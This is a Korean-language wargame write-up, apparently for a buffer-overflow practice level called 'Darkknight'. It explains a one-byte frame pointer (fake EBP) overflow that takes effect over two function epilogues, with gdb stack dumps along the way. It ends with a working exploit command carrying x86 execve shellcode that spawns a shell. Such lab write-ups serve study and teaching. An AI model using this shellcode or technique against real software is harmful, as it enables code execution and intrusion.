* Darkknight
- 조건은 argument가 2개 이상이면 된다. problem_child함수에서 strcpy함수를 사용하니 problem_child함수에서 버퍼 오버플로우가 발생하도록 하면 될 것 같다. 하지만 buffer에는 41바이트만 삽입되는데 ret값까지 덮어씌울 수 없을것 같다.
-FPO(Frame Pointer Overflow)
-frame pointer : saved ebp
- Fake EBP
에필로그가 무조건 2번 수행되야 의미가 있어진다 Fake ebp가
그래서 void problem_child(char *src) 함수가 필요하다 여기서 에필로그가 실행되고 메인에서도 에필로그가 하나 실행되니까
2번 수행된다
-EBP의 값이 변조되면 EIP값이 변조된다.
-ESP레지스터를 옮김
-단 함수 에필로그가 두번 실행되어야한다.
[ebp+4]=saved eip 개념을 꼭 알아야한다. 에필로그가 실행되니까 이렇게 생각할 수 있다.
leave
-mov esp, ebp
-pop ebp
ret
-pop eip
call
-push eip
-jmp address
main 함수는 오버플로우가 발생하지 않으니 볼게 없고 promblem_child 함수를 확인해 보면
r $(python -c 'print "A"*40+"BBBB"+"CCCC"')
딱 41 바이트만 복사되는걸 확인할 수 있다.
이제 fake ebp 를 이용해서 ebp를 변조 해야하는데
(gdb) x/24x $ebp-40
0xbffffa94: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab4: 0x41414141 0x41414141 0xbffffa94(ebp) 0x0804849e(saved eip)
0xbffffac4: 0xbffffc2d 0xbffffae8 0x400309cb 0x00000002
0xbffffad4: 0xbffffb14 0xbffffb20 0x40013868 0x00000002
0xbffffae4: 0x08048390 0x00000000 0x080483b1 0x0804846c
promblem_child 함수에서 에필로그가 실행되게 되면
leave
-mov esp, ebp
-pop ebp
ebp의 위치가 esp로 변경되고 ebp가 pop된다.
이러면 ebp 는 0xbffffa94 여기를 가리킬꺼고 esp는 0x0804849e(saved eip) 이쪽으로 오고 아무런 조작없이 함수의 오류로 실행이 종료 될것인데,
main 함수에서 에필로그가 한번더 실행되게 되면
leave
-mov esp, ebp
-pop ebp
지금 ebp의 위치가 esp가 될꺼고 ebp를 pop 하게되면
(gdb) x/24x $ebp-40
0xbffffa94: 0x41414141(esp) 0x41414141(ret) 0x41414141 0x41414141
0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab4: 0x41414141 0x41414141 0xbffffa94(ebp) 0x0804849e(saved eip)
0xbffffac4: 0xbffffc2d 0xbffffae8 0x400309cb 0x00000002
0xbffffad4: 0xbffffb14 0xbffffb20 0x40013868 0x00000002
0xbffffae4: 0x08048390 0x00000000 0x080483b1 0x0804846c
ret
-pop eip
지금 ret으로 표시된 곳이 최종으로 saved eip가 실행되는 값으로 바뀔것이다
그니까 에필로그가 총 2번 실행되어야 조작이 가능하다
이런 원리로 문제를 풀어보면
fake ebp값을 4바이트 넣어주고 ret 주소 (쉘코드 시작 주소 ) +쉘코드 +ebp주소 (fake ebp 를 가리키는 )
로 페이로드를 작성하면 문제가 쉽게 풀린다.
./darkknight $(python -c 'print "A"*4+"BBBB"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x34"')